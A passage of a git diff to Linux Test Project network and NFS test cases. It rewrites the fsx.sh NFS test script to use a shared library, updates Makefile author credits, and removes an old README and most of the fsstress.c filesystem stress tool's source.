+	{"d:", &rpath, "-d x     x is a path to file where result is saved\n"},
+
+	{"R:", &Rarg, "Server:\n-R x     x requests after which conn.closed"},
+	{"q:", &qarg, "-q x     x - TFO queue"},
+	{NULL, NULL, NULL}
+};
+
+static struct tst_test test = {
+	.tid = "netstress",
+	.test_all = do_test,
+	.setup = setup,
+	.cleanup = cleanup,
+	.options = options
+};
diff --git a/testcases/network/nfs/Makefile b/testcases/network/nfs/Makefile
index c9dd3bf..6665fd3 100644
--- a/testcases/network/nfs/Makefile
+++ b/testcases/network/nfs/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/network/nfs/README b/testcases/network/nfs/README
deleted file mode 100644
index ee58415..0000000
--- a/testcases/network/nfs/README
+++ /dev/null
@@ -1,28 +0,0 @@
-
-NOTE:
-
-  These tests ALL assume that the "RHOST" variable is set to the hostname
-of the remote machine, i.e.
-
-    # export RHOST=<hostname here>.
-
-
-These tests also assume an identical path tree for their location on the remote
-machine.  So if pan's root path is "/home/ltptests" on the test machine, then
-it must also be located in "/home/ltptests" on the remote machine (RHOST). You
-also need to do a make and make install on both the local and remote machines
-before you run the test.
-
- You will also need to setup a ".rhosts" file in root's home directory on the
-remote machine, with the name of the local machine listed.  For example, if
-machineA is running the tests, with machineB set as RHOST, then machineB's
-root home directory will need an ".rhosts" file with machineA's hostname
-listed. After you create the .rhost file you must also set the proper
-permissions on the .rhost file.  chmod 600 .rhosts
-
-I apologize for the lengthy setup, but I tried to make it as minimal as
-possible.
-
-
--Robbie Williamson
-(robbiew@us.ibm.com)
diff --git a/testcases/network/nfs/fsx-linux/Makefile b/testcases/network/nfs/fsx-linux/Makefile
index eaf88a8..3234c71 100644
--- a/testcases/network/nfs/fsx-linux/Makefile
+++ b/testcases/network/nfs/fsx-linux/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/nfs/fsx-linux/fsx.sh b/testcases/network/nfs/fsx-linux/fsx.sh
index facc708..9f2e437 100755
--- a/testcases/network/nfs/fsx-linux/fsx.sh
+++ b/testcases/network/nfs/fsx-linux/fsx.sh
@@ -1,194 +1,48 @@
-#! /bin/sh
+#!/bin/sh
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) International Business Machines  Corp., 2001
 #
-#   Copyright (c) International Business Machines  Corp., 2001
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
 #
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
 #
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implie; warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
 #
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : fsx.sh
 #
 #  PURPOSE: Runs the fsx-linux tool with a 50000 iterations setting to
 #	    attempt to uncover the "doread:read input/output" error
 #	    received if the latest NFS patches for 2.4.17 from Trond
 #	    are not applied. http://nfs.sf.net
-#
-#
-#  SETUP: The home directory of root on the machine exported as "RHOST"
-#         MUST have a ".rhosts" file with the hostname of the machine
-#         where the test is executed.
-#
-#
-#  HISTORY:
-#    12/18/01 Robbie Williamson (robbiew@us.ibm.com)
-#      -Written
-#
-#***********************************************************************
 
-#Uncomment line below for debug output.
-#trace_logic=${trace_logic:-"set -x"}
+TCID=nfsx
+TST_TOTAL=1
+TST_CLEANUP="nfs_cleanup"
 
-$trace_logic
+. nfs_lib.sh
+. test_net.sh
 
-#-----------------------------------------------------------------------
-# Initialize local variables
-#-----------------------------------------------------------------------
-TC=${TC:=fsx}
-TCbin=${TCbin:=`pwd`}
-TCdat=${TCdat:=$TCbin}
-TCsrc=${TCsrc:=$TCbin}
-TCtmp=${TCtmp:=$TCbin/$TC$$}
-TCdump=${TCdump:=$TCbin}
-export TCID=$TC
-export TST_TOTAL=1
-export TST_COUNT=1
-
-# If CLEANUP is not set; set it to "ON"
-CLEANUP=${CLEANUP:="ON"}
-
-# If EXECUTABLES is not set; set it to default executables
-EXECUTABLES=${EXECUTABLES:="fsx-linux"}
-
-
-#=============================================================================
-# FUNCTION NAME:        setup_testcase
-#
-# FUNCTION DESCRIPTION: Perform the setup function for the testcase.
-#
-# PARAMETERS:   	None.
-#
-# RETURNS:      	None.
-#=============================================================================
-
-setup_testcase()
-{
-$trace_logic
-
-    PID=$$
-
-    VERSION=${VERSION:=3}
-    RHOST=${RHOST:=`hostname`}
-    ITERATIONS=${ITERATIONS:=50000}
-    SOCKET_TYPE=${SOCKET_TYPE:=udp}
-    TESTDIR=${TESTDIR:=/tmp/$TC$PID.testdir}
-    NFS_TYPE=${NFS_TYPE:=nfs}
-
-    echo ""
-    echo "Test Options:"
-    echo " VERSION: $VERSION"
-    echo " RHOST: $RHOST"
-    echo " ITERATIONS: $ITERATIONS"
-    echo " SOCKET_TYPE: $SOCKET_TYPE"
-    echo " NFS_TYPE: $NFS_TYPE"
-
-    if [ "x$NFS_TYPE" != "xnfs4" ]; then
-        OPTS=${OPTS:="-o proto=$SOCKET_TYPE,vers=$VERSION "}
-    fi
-
-    REMOTE_DIR=${RHOST}:${TESTDIR}
-    LUSER=${LUSER:=root}
-    mkdir -p $TCtmp || end_testcase "Could not create $TCtmp"
-    chmod 777 $TCtmp
-
-    echo "Setting up remote machine: $RHOST"
-    rsh -n $RHOST "mkdir $TESTDIR"
-    [ $? = 0 ] || end_testcase "Could not create remote directory"
-    rsh -n $RHOST "touch $TESTDIR/testfile"
-    [ $? = 0 ] || end_testcase "Could not create testfile in remote directory"
-
-    if [ "x$NFS_TYPE" = "xnfs4" ]; then
-        rsh -n $RHOST "mkdir -p /export$TESTDIR"
-        [ $? = 0 ] || end_testcase "Could not create /export$TESTDIR on server"
-        rsh -n $RHOST "mount --bind $TESTDIR /export$TESTDIR"
-        [ $? = 0 ] || end_testcase "Could not bind $TESTDIR to export on server"
-        rsh -n $RHOST "/usr/sbin/exportfs -o no_root_squash,rw,nohide,insecure,no_subtree_check *:$TESTDIR"
-        [ $? = 0 ] || end_testcase "Could not export remote directory"
-    else
-        rsh -n $RHOST "/usr/sbin/exportfs -i -o no_root_squash,rw *:$TESTDIR"
-        [ $? = 0 ] || end_testcase "Could not export remote directory"
-    fi
-
-    echo "Mounting NFS filesystem $REMOTE_DIR on $TCtmp with options '$OPTS'"
-    mount -t $NFS_TYPE $OPTS $REMOTE_DIR $TCtmp || end_testcase "Cannot mount $TCtmp"
-    [ $? = 0 ] || end_testcase "Could not mount $REMOTE_DIR"
-}
-
-
-#=============================================================================
-# FUNCTION NAME:        do_test
-#
-# FUNCTION DESCRIPTION: Perform the test
-#
-# PARAMETERS:   	None.
-#
-# RETURNS:      	None.
-#=============================================================================
 do_test()
 {
-$trace_logic
-    for executable in $EXECUTABLES
-    do
-
-        cd $TCbin
-    	echo "${executable} -N $ITERATIONS $TCtmp/testfile Starting"
-	./${executable} -N $ITERATIONS $TCtmp/testfile 2>&1
-	retval=$?
-    	echo "${executable} -N $ITERATIONS $TCtmp/testfile Finished"
-
-	if [ "$retval" != 0 ]; then
-		end_testcase "Errors have resulted from this test"
+	ITERATIONS=${ITERATIONS:=50000}
+	tst_resm TINFO "starting fsx-linux -N $ITERATIONS..."
+	fsx-linux -N $ITERATIONS testfile 2>&1 > fsx-out.log
+	if [ "$?" -ne 0 ]; then
+		tst_resm TFAIL "Errors have resulted from this test"
+		cat fsx-out.log
+	else
+		tst_resm TPASS "fsx-linux test passed"
 	fi
-
-    done
 }
 
+nfs_setup
 
-#=============================================================================
-# FUNCTION NAME:        end_testcase
-#
-# FUNCTION DESCRIPTION: Clean up
-#
-# PARAMETERS:   	None.
-#
-# RETURNS:      	None.
-#=============================================================================
-end_testcase()
-{
-$trace_logic
-    if [ "$CLEANUP" = "ON" ]; then
-	cd \
-
-	echo "Cleaning up testcase"
-        cd $HOME
-    	echo "Unmounting $TCtmp"
-	sleep 2
-        umount $TCtmp || { echo "Cannot umount $TCtmp"; exit 1; }
-	rm -rf $TCtmp || echo "Cannot remove $TCtmp"
-        rsh -n $RHOST "/usr/sbin/exportfs -u *:$TESTDIR"
- rsh -n $RHOST "rm -rf $TESTDIR"
-    fi
-
-    [ $# = 0 ] && { tst_resm TPASS "Test Successful"; exit 0; }
-    tst_resm TFAIL "Test Failed: $@"
-    exit 1
-}
-
-#=============================================================================
-# MAIN PROCEDURE
-#=============================================================================
-
-setup_testcase
 do_test
-end_testcase
+
+tst_exit
diff --git a/testcases/network/nfs/nfs_fsstress/Makefile b/testcases/network/nfs/nfs_fsstress/Makefile
deleted file mode 100644
index c1b3c2b..0000000
--- a/testcases/network/nfs/nfs_fsstress/Makefile
+++ /dev/null
@@ -1,36 +0,0 @@
-#
-#    network/nfs/nfs_fsstress testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Garrett Cooper, July 2009
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-CPPFLAGS		+= -D_LARGEFILE64_SOURCE -D_GNU_SOURCE -DNO_XFS \
-			   -I$(abs_srcdir)
-
-# XXX (garrcoop): this copy of fsstress has issues with -Wuninitialized that
-# aren't as easy to resolve as I would like.
-CPPFLAGS		+= -Wno-error
-
-INSTALL_TARGETS		:= nfs_fsstress.sh
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/nfs/nfs_fsstress/fsstress.c b/testcases/network/nfs/nfs_fsstress/fsstress.c
deleted file mode 100644
index a34c416..0000000
--- a/testcases/network/nfs/nfs_fsstress/fsstress.c
+++ /dev/null
@@ -1,2591 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/SGIGPLNoticeExplan/
- */
-
-#include "global.h"
-#include <limits.h>
-
-#define XFS_ERRTAG_MAX		17
-
-typedef enum {
-#ifndef NO_XFS
-	OP_ALLOCSP,
-	OP_ATTR_REMOVE,
-	OP_ATTR_SET,
-	OP_BULKSTAT,
-	OP_BULKSTAT1,
-#endif
-	OP_CHOWN,
-	OP_CREAT,
-	OP_DREAD,
-	OP_DWRITE,
-	OP_FDATASYNC,
-#ifndef NO_XFS
-	OP_FREESP,
-#endif
-	OP_FSYNC,
-	OP_GETDENTS,
-	OP_LINK,
-	OP_MKDIR,
-	OP_MKNOD,
-	OP_READ,
-	OP_READLINK,
-	OP_RENAME,
-#ifndef NO_XFS
-	OP_RESVSP,
-#endif
-	OP_RMDIR,
-	OP_STAT,
-	OP_SYMLINK,
-	OP_SYNC,
-	OP_TRUNCATE,
-	OP_UNLINK,
-#ifndef NO_XFS
-	OP_UNRESVSP,
-#endif
-	OP_WRITE,
-	OP_LAST
-} opty_t;
-
-typedef void (*opfnc_t) (int, long);
-
-typedef struct opdesc {
-	opty_t op;
-	char *name;
-	opfnc_t func;
-	int freq;
-	int iswrite;
-	int isxfs;
-} opdesc_t;
-
-typedef struct fent {
-	int id;
-	int parent;
-} fent_t;
-
-typedef struct flist {
-	int nfiles;
-	int nslots;
-	int tag;
-	fent_t *fents;
-} flist_t;
-
-typedef struct pathname {
-	int len;
-	char *path;
-} pathname_t;
-
-#define	FT_DIR	0
-#define	FT_DIRm	(1 << FT_DIR)
-#define	FT_REG	1
-#define	FT_REGm	(1 << FT_REG)
-#define	FT_SYM	2
-#define	FT_SYMm	(1 << FT_SYM)
-#define	FT_DEV	3
-#define	FT_DEVm	(1 << FT_DEV)
-#define	FT_RTF	4
-#define	FT_RTFm	(1 << FT_RTF)
-#define	FT_nft	5
-#define	FT_ANYm	((1 << FT_nft) - 1)
-#define	FT_REGFILE	(FT_REGm | FT_RTFm)
-#define	FT_NOTDIR	(FT_ANYm & ~FT_DIRm)
-
-#define	FLIST_SLOT_INCR	16
-#define	NDCACHE	64
-
-#define	MAXFSIZE	((1ULL << 63) - 1ULL)
-#define	MAXFSIZE32	((1ULL << 40) - 1ULL)
-
-void allocsp_f(int, long);
-void attr_remove_f(int, long);
-void attr_set_f(int, long);
-void bulkstat_f(int, long);
-void bulkstat1_f(int, long);
-void chown_f(int, long);
-void creat_f(int, long);
-void dread_f(int, long);
-void dwrite_f(int, long);
-void fdatasync_f(int, long);
-void freesp_f(int, long);
-void fsync_f(int, long);
-void getdents_f(int, long);
-void link_f(int, long);
-void mkdir_f(int, long);
-void mknod_f(int, long);
-void read_f(int, long);
-void readlink_f(int, long);
-void rename_f(int, long);
-void resvsp_f(int, long);
-void rmdir_f(int, long);
-void stat_f(int, long);
-void symlink_f(int, long);
-void sync_f(int, long);
-void truncate_f(int, long);
-void unlink_f(int, long);
-void unresvsp_f(int, long);
-void write_f(int, long);
-
-opdesc_t ops[] = {
-#ifndef NO_XFS
-	{OP_ALLOCSP, "allocsp", allocsp_f, 1, 1, 1},
-	{OP_ATTR_REMOVE, "attr_remove", attr_remove_f, /* 1 */ 0, 1, 1},
-	{OP_ATTR_SET, "attr_set", attr_set_f, /* 2 */ 0, 1, 1},
-	{OP_BULKSTAT, "bulkstat", bulkstat_f, 1, 0, 1},
-	{OP_BULKSTAT1, "bulkstat1", bulkstat1_f, 1, 0, 1},
-#endif
-	{OP_CHOWN, "chown", chown_f, 3, 1},
-	{OP_CREAT, "creat", creat_f, 4, 1},
-	{OP_DREAD, "dread", dread_f, 4, 0},
-	{OP_DWRITE, "dwrite", dwrite_f, 4, 1},
-	{OP_FDATASYNC, "fdatasync", fdatasync_f, 1, 1},
-#ifndef NO_XFS
-	{OP_FREESP, "freesp", freesp_f, 1, 1, 1},
-#endif
-	{OP_FSYNC, "fsync", fsync_f, 1, 1},
-	{OP_GETDENTS, "getdents", getdents_f, 1, 0},
-	{OP_LINK, "link", link_f, 1, 1},
-	{OP_MKDIR, "mkdir", mkdir_f, 2, 1},
-	{OP_MKNOD, "mknod", mknod_f, 2, 1},
-	{OP_READ, "read", read_f, 1, 0},
-	{OP_READLINK, "readlink", readlink_f, 1, 0},
-	{OP_RENAME, "rename", rename_f, 2, 1},
-#ifndef NO_XFS
-	{OP_RESVSP, "resvsp", resvsp_f, 1, 1, 1},
-#endif
-	{OP_RMDIR, "rmdir", rmdir_f, 1, 1},
-	{OP_STAT, "stat", stat_f, 1, 0},
-	{OP_SYMLINK, "symlink", symlink_f, 2, 1},
-	{OP_SYNC, "sync", sync_f, 1, 0},
-	{OP_TRUNCATE, "truncate", truncate_f, 2, 1},
-	{OP_UNLINK, "unlink", unlink_f, 1, 1},
-#ifndef NO_XFS
-	{OP_UNRESVSP, "unresvsp", unresvsp_f, 1, 1, 1},
-#endif
-	{OP_WRITE, "write", write_f, 4, 1},
-}, *ops_end;
-
-flist_t flist[FT_nft] = {
-	{0, 0, 'd', NULL},
-	{0, 0, 'f', NULL},
-	{0, 0, 'l', NULL},
-	{0, 0, 'c', NULL},
-	{0, 0, 'r', NULL},
-};
-
-int dcache[NDCACHE];
-int errrange;
-int errtag;
-opty_t *freq_table;
-int freq_table_size;
-#ifndef NO_XFS
-xfs_fsop_geom_t geom;
-#endif
-char *homedir;
-int *ilist;
-int ilistlen;
-off64_t maxfsize;
-char *myprog;
-int namerand;
-int nameseq;
-int nops;
-int nproc = 1;
-int operations = 1;
-int procid;
-int rtpct;
-unsigned long seed = 0;
-ino_t top_ino;
-int verbose = 0;
-#ifndef NO_XFS
-int no_xfs = 0;
-#else
-int no_xfs = 1;
-#endif
-
-void add_to_flist(int, int, int);
-void append_pathname(pathname_t *, char *);
-#ifndef NO_XFS
-int attr_list_path(pathname_t *, char *, const int, int, attrlist_cursor_t *);
-int attr_remove_path(pathname_t *, const char *, int);
-int attr_set_path(pathname_t *, const char *, const char *, const int, int);
-#endif
-void check_cwd(void);
-int creat_path(pathname_t *, mode_t);
-void dcache_enter(int, int);
-void dcache_init(void);
-fent_t *dcache_lookup(int);
-void dcache_purge(int);
-void del_from_flist(int, int);
-int dirid_to_name(char *, int);
-void doproc(void);
-void fent_to_name(pathname_t *, flist_t *, fent_t *);
-void fix_parent(int, int);
-void free_pathname(pathname_t *);
-int generate_fname(fent_t *, int, pathname_t *, int *, int *);
-int get_fname(int, long, pathname_t *, flist_t **, fent_t **, int *);
-void init_pathname(pathname_t *);
-int lchown_path(pathname_t *, uid_t, gid_t);
-int link_path(pathname_t *, pathname_t *);
-int lstat64_path(pathname_t *, struct stat64 *);
-void make_freq_table(void);
-int mkdir_path(pathname_t *, mode_t);
-int mknod_path(pathname_t *, mode_t, dev_t);
-void namerandpad(int, char *, int);
-int open_path(pathname_t *, int);
-DIR *opendir_path(pathname_t *);
-void process_freq(char *);
-int readlink_path(pathname_t *, char *, size_t);
-int rename_path(pathname_t *, pathname_t *);
-int rmdir_path(pathname_t *);
-void separate_pathname(pathname_t *, char *, pathname_t *);
-void show_ops(int, char *);
-int stat64_path(pathname_t *, struct stat64 *);
-int symlink_path(const char *, pathname_t *);
-int truncate64_path(pathname_t *, off64_t);
-int unlink_path(pathname_t *);
-void usage(void);
-void write_freq(void);
-void zero_freq(void);
-
-int main(int argc, char **argv)
-{
-	char buf[10];
-	int c;
-	char *dirname = NULL;
-	int fd;
-	int i;
-	int cleanup = 0;
-	int loops = 1;
-	int loopcntr = 1;
-	char cmd[256];
-#ifndef NO_XFS
-	int j;
-#endif
-	char *p;
-	int stat;
-	struct timeval t;
-#ifndef NO_XFS
-	ptrdiff_t srval;
-#endif
-	int nousage = 0;
-#ifndef NO_XFS
-	xfs_error_injection_t err_inj;
-#endif
-
-	errrange = errtag = 0;
-	umask(0);
-	nops = sizeof(ops) / sizeof(ops[0]);
-	ops_end = &ops[nops];
-	myprog = argv[0];
-	while ((c = getopt(argc, argv, "cd:e:f:i:l:n:p:rs:vwzHSX")) != -1) {
-		switch (c) {
-		case 'c':
-			/*Don't cleanup */
-			cleanup = 1;
-			break;
-		case 'd':
-			dirname = optarg;
-			break;
-		case 'e':
-			sscanf(optarg, "%d", &errtag);
-			if (errtag < 0) {
-				errtag = -errtag;
-				errrange = 1;
-			} else if (errtag == 0)
-				errtag = -1;
-			if (errtag >= XFS_ERRTAG_MAX) {
-				fprintf(stderr,
-					"error tag %d too large (max %d)\n",
-					errtag, XFS_ERRTAG_MAX - 1);
-				exit(1);
-			}
-			break;
-		case 'f':
-			process_freq(optarg);
-			break;
-		case 'i':
-			ilist = realloc(ilist, ++ilistlen * sizeof(*ilist));
-			ilist[ilistlen - 1] = strtol(optarg, &p, 16);
-			break;
-		case 'l':
-			loops = atoi(optarg);
-			break;
-		case 'n':
-			operations = atoi(optarg);
-			break;
-		case 'p':
-			nproc = atoi(optarg);
-			break;
-		case 'r':
-			namerand = 1;
-			break;
-		case 's':
-			seed = strtoul(optarg, NULL, 0);
-			break;
-		case 'v':
-			verbose = 1;
-			break;
-		case 'w':
-			write_freq();
-			break;
-		case 'z':
-			zero_freq();
-			break;
-		case 'S':
-			show_ops(0, NULL);
-			printf("\n");
-			nousage = 1;
-			break;
-		case '?':
-			fprintf(stderr, "%s - invalid parameters\n", myprog);
-			/* fall through */
-		case 'H':
-			usage();
-			exit(1);
-		case 'X':
-			no_xfs = 1;
-			break;
-		}
-	}
-	while ((loopcntr <= loops) || (loops == 0)) {
-		if (no_xfs && errtag) {
-			fprintf(stderr, "error injection only works on XFS\n");
-			exit(1);
-		}
-
-		if (no_xfs) {
-			int i;
-			for (i = 0; ops + i < ops_end; ++i) {
-				if (ops[i].isxfs)
-					ops[i].freq = 0;
-			}
-		}
-
-		if (!dirname) {
-			/* no directory specified */
-			if (!nousage)
-				usage();
-			exit(1);
-		}
-
-		(void)mkdir(dirname, 0777);
-		if (chdir(dirname) < 0) {
-			perror(dirname);
-			exit(1);
-		}
-		sprintf(buf, "fss%x", getpid());
-		fd = creat(buf, 0666);
-		if (lseek64(fd, (off64_t) (MAXFSIZE32 + 1ULL), SEEK_SET) < 0)
-			maxfsize = (off64_t) MAXFSIZE32;
-		else
-			maxfsize = (off64_t) MAXFSIZE;
-		make_freq_table();
-		dcache_init();
-		setlinebuf(stdout);
-		if (!seed) {
-			gettimeofday(&t, NULL);
-			seed = (int)t.tv_sec ^ (int)t.tv_usec;
-			printf("seed = %ld\n", seed);
-		}
-#ifndef NO_XFS
-		if (!no_xfs) {
-			i = ioctl(fd, XFS_IOC_FSGEOMETRY, &geom);
-			if (i >= 0 && geom.rtblocks)
-				rtpct = MIN(MAX(geom.rtblocks * 100 /
-						(geom.rtblocks +
-						 geom.datablocks), 1), 99);
-			else
-				rtpct = 0;
-		}
-		if (errtag != 0) {
-			if (errrange == 0) {
-				if (errtag <= 0) {
-					srandom(seed);
-					j = random() % 100;
-
-					for (i = 0; i < j; i++)
-						(void)random();
-
-					errtag =
-					    (random() % (XFS_ERRTAG_MAX - 1)) +
-					    1;
-				}
-			} else {
-				srandom(seed);
-				j = random() % 100;
-
-				for (i = 0; i < j; i++)
-					(void)random();
-
-				errtag +=
-				    (random() % (XFS_ERRTAG_MAX - errtag));
-			}
-			printf("Injecting failure on tag #%d\n", errtag);
-			err_inj.errtag = errtag;
-			err_inj.fd = fd;
-			srval = ioctl(fd, XFS_IOC_ERROR_INJECTION, &err_inj);
-			if (srval < -1) {
-				perror
-				    ("fsstress - XFS_SYSSGI error injection call");
-				close(fd);
-				unlink(buf);
-				exit(1);
-			}
-		} else
-#endif
-			close(fd);
-		unlink(buf);
-		if (nproc == 1) {
-			procid = 0;
-			doproc();
-		} else {
-			for (i = 0; i < nproc; i++) {
-				if (fork() == 0) {
-					procid = i;
-					doproc();
-					return 0;
-				}
-			}
-			while (wait(&stat) > 0)
-				continue;
-		}
-#ifndef NO_XFS
-		if (errtag != 0) {
-			err_inj.errtag = 0;
-			err_inj.fd = fd;
-			if ((srval =
-			     ioctl(fd, XFS_IOC_ERROR_CLEARALL,
-				   &err_inj)) != 0) {
-				fprintf(stderr, "Bad ej clear on %d (%d).\n",
-					fd, errno);
-				perror
-				    ("fsstress - XFS_SYSSGI clear error injection call");
-				close(fd);
-				exit(1);
-			}
-			close(fd);
-		}
-#endif
-		if (cleanup == 0) {
-			sprintf(cmd, "rm -rf %s/*", dirname);
-			system(cmd);
-		}
-		loopcntr++;
-	}
-	return 0;
-}
-
-void add_to_flist(int ft, int id, int parent)
-{
-	fent_t *fep;
-	flist_t *ftp;
-
-	ftp = &flist[ft];
-	if (ftp->nfiles == ftp->nslots) {
-		ftp->nslots += FLIST_SLOT_INCR;
-		ftp->fents = realloc(ftp->fents, ftp->nslots * sizeof(fent_t));
-	}
-	fep = &ftp->fents[ftp->nfiles++];
-	fep->id = id;
-	fep->parent = parent;
-}
-
-void append_pathname(pathname_t * name, char *str)
-{
-	int len;
-
-	len = strlen(str);
-#ifdef DEBUG
-	if (len && *str == '/' && name->len == 0) {
-		fprintf(stderr, "fsstress: append_pathname failure\n");
-		chdir(homedir);
-		abort();
-
-	}
-#endif
-	name->path = realloc(name->path, name->len + 1 + len);
-	strcpy(&name->path[name->len], str);
-	name->len += len;
-}
-
-#ifndef NO_XFS
-int
-attr_list_path(pathname_t * name, char *buffer, const int buffersize, int flags,
-	       attrlist_cursor_t * cursor)
-{
-	char buf[MAXNAMELEN];
-	pathname_t newname;
-	int rval;
-
-	rval = attr_list(name->path, buffer, buffersize, flags, cursor);
-	if (rval >= 0 || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name, buf, &newname);
-	if (chdir(buf) == 0) {
-		rval = attr_list_path(&newname, buffer, buffersize, flags,
-				      cursor);
-		chdir("..");
-	}
-	free_pathname(&newname);
-	return rval;
-}
-
-int attr_remove_path(pathname_t * name, const char *attrname, int flags)
-{
-	char buf[MAXNAMELEN];
-	pathname_t newname;
-	int rval;
-
-	rval = attr_remove(name->path, attrname, flags);
-	if (rval >= 0 || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name, buf, &newname);
-	if (chdir(buf) == 0) {
-		rval = attr_remove_path(&newname, attrname, flags);
-		chdir("..");
-	}
-	free_pathname(&newname);
-	return rval;
-}
-
-int
-attr_set_path(pathname_t * name, const char *attrname, const char *attrvalue,
-	      const int valuelength, int flags)
-{
-	char buf[MAXNAMELEN];
-	pathname_t newname;
-	int rval;
-
-	rval = attr_set(name->path, attrname, attrvalue, valuelength, flags);
-	if (rval >= 0 || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name, buf, &newname);
-	if (chdir(buf) == 0) {
-		rval = attr_set_path(&newname, attrname, attrvalue, valuelength,
-				     flags);
-		chdir("..");
-	}
-	free_pathname(&newname);
-	return rval;
-}
-#endif
-
-void check_cwd(void)
-{
-#ifdef DEBUG
-	struct stat64 statbuf;
-
-	if (stat64(".", &statbuf) == 0 && statbuf.st_ino == top_ino)
-		return;
-	chdir(homedir);
-	fprintf(stderr, "fsstress: check_cwd failure\n");
-	abort();
-
-#endif
-}
-
-int creat_path(pathname_t * name, mode_t mode)
-{
-	char buf[MAXNAMELEN];
-	pathname_t newname;
-	int rval;
-
-	rval = creat(name->path, mode);
-	if (rval >= 0 || errno != ENAMETOOLONG)
-		return rval;
-	separate_pathname(name, buf, &newname);
-	if (chdir(buf) == 0) {
-		rval = creat_path(&newname, mode);
-		chdir("..");
-	}
-	free_pathname(&newname);
-	return rval;
-}
-
-void dcache_enter(int dirid, int slot)
-{
-	dcache[dirid % NDCACHE] = slot;
-}
-
-void dcache_init(void)
-{
-	int i;
-
-	for (i = 0; i < NDCACHE; i++)
-		dcache[i] = -1;
-}
-
-fent_t *dcache_lookup(int dirid)
-{
-	fent_t *fep;
-	int i;
-
-	i = dcache[dirid % NDCACHE];
-	if (i >= 0 && (fep = &flist[FT_DIR].fents[i])->id == dirid)
-		return fep;
-	return NULL;
-}
-
-void dcache_purge(int dirid)
-{
-	int *dcp;
-
-	dcp = &dcache[dirid % NDCACHE];
-	if (*dcp >= 0 && flist[FT_DIR].fents[*dcp].id == dirid)
-		*dcp = -1;
-}
-
-void del_from_flist(int ft, int slot)
-{
-	flist_t *ftp;
-
-	ftp = &flist[ft];
-	if (ft == FT_DIR)
-		dcache_purge(ftp->fents[slot].id);
-	if (slot != ftp->nfiles - 1) {
-		if (ft == FT_DIR)
-			dcache_purge(ftp->fents[ftp->nfiles - 1].id);
-		ftp->fents[slot] = ftp->fents[--ftp->nfiles];
-	} else
-		ftp->nfiles--;
-}
-
-fent_t *dirid_to_fent(int dirid)
-{
-	fent_t *efep;
-	fent_t *fep;
-	flist_t *flp;
-
-	if ((fep = dcache_lookup(dirid)))
-		return fep;
-	flp = &flist[FT_DIR];
-	for (fep = flp->fents, efep = &fep[flp->nfiles]; fep < efep; fep++) {
-		if (fep->id == dirid) {
-			dcache_enter(dirid, fep - flp->fents);
-			return fep;
-		}
-	}
-	return NULL;
-}
-
-void doproc(void)
-{
-	struct stat64 statbuf;
-	char buf[10];
-	int opno;
-	int rval;
-	opdesc_t *p;
-
-	sprintf(buf, "p%x", procid);
-	(void)mkdir(buf, 0777);
-	if (chdir(buf) < 0 || stat64(".", &statbuf) < 0) {
-		perror(buf);
-		_exit(1);
-	}
-	top_ino = statbuf.st_ino;
-	homedir = getcwd(NULL, -1);
-	seed += procid;
-	srandom(seed);
-	if (namerand)
